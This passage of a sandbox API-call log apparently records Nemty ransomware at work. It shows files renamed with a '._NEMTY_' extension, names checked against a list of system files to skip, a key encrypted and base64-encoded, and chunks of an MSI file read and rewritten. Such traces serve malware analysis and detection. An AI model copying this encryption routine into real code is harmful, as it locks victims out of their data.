lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.719] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.720] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="..") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="...") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="windows") returned -1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="$RECYCLE.BIN") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="rsa") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="NTDETECT.COM") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="ntldr") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="MSDOS.SYS") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="IO.SYS") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="boot.ini") returned 1 [0050.720] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="boot.ini") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="AUTOEXEC.BAT") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="ntuser.dat") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="desktop.ini") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="CONFIG.SYS") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="RECYCLER") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="BOOTSECT.BAK") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="bootmgr") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="programdata") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="appdata") returned 1 [0050.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.721] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="..") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="...") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="windows") returned -1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="$RECYCLE.BIN") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="rsa") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="NTDETECT.COM") returned 1 [0050.721] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="ntldr") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="MSDOS.SYS") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="IO.SYS") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="boot.ini") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="boot.ini") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="AUTOEXEC.BAT") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="ntuser.dat") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="desktop.ini") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="CONFIG.SYS") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="RECYCLER") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="BOOTSECT.BAK") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="bootmgr") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="programdata") returned 1 [0050.722] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="appdata") returned 1 [0050.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.msi", lpUsedDefaultChar=0x0) returned 12 [0050.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.msi", lpUsedDefaultChar=0x0) returned 12 [0050.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.msi", lpUsedDefaultChar=0x0) returned 12 [0050.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.msi", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.msi", lpUsedDefaultChar=0x0) returned 12 [0050.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0050.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.722] Sleep (dwMilliseconds=0x5) [0050.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1e6fef0, dwHighDateTime=0x1d561e7)) [0050.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1e6fef0, dwHighDateTime=0x1d561e7)) [0050.733] GetLastError () returned 0x0 [0050.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.734] GetLastError () returned 0x0 [0050.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0050.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0050.734] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0050.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0050.734] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="12ggya85YnXjSjL3xq0jzJoBL2jSGcTFgz6Is5RsYQDrLxYGJI3sUH2R2INubyZV\r\nggUxiVz+gvowyi+jGYaX4i0AgYlz/VfhkAVIz9WjrHor/1Z/K0jBkkU1OJhLSAUN\r\nyxtETCkKLH6BO3N87riHKLv1vQCzgi3ZzGRf1bi1bohsr3/TAmcUrONkGQQy1Yo1\r\nMy9tnqQrIy+spZNCq2i1sybk61nRhjnvJycHH6+oV2ShT2YTrywSQ4m8LYqqeJ36\r\n2akMWrlQAn7LKMDPo3QsPFnIP/scTcA5K4H708I1g4m29uGjTG7BnWR3Cx9xCWW+\r\nIgGT/1SGaiYIYZcj2v+9yA==\r\n", pcchString=0x653ef9c) returned 1 [0050.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0050.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0050.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0050.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0050.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0050.735] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=12060672) returned 1 [0050.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0050.735] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4430336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x439a00 [0050.735] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.748] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4430336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x439a00 [0050.748] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.748] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4590336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x460b00 [0050.748] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.760] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4590336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x460b00 [0050.760] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.760] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4750336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x487c00 [0050.760] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.773] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4750336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x487c00 [0050.774] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.774] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4910336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4aed00 [0050.774] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.786] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4910336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4aed00 [0050.786] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.786] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5070336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4d5e00 [0050.786] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.799] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5070336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4d5e00 [0050.799] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.800] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5230336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fcf00 [0050.800] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.819] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5230336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fcf00 [0050.819] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.820] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5390336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x524000 [0050.820] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.830] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5390336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x524000 [0050.830] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.830] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5550336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54b100 [0050.830] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.851] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5550336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54b100 [0050.851] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.851] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5710336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x572200 [0050.851] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.861] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5710336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x572200 [0050.861] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.861] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5870336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x599300 [0050.861] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x27100, lpOverlapped=0x0) returned 1 [0050.871] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=5870336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x599300 [0050.871] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x27100, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x27100, lpOverlapped=0x0) returned 1 [0050.872] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.872] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0050.880] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.880] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, 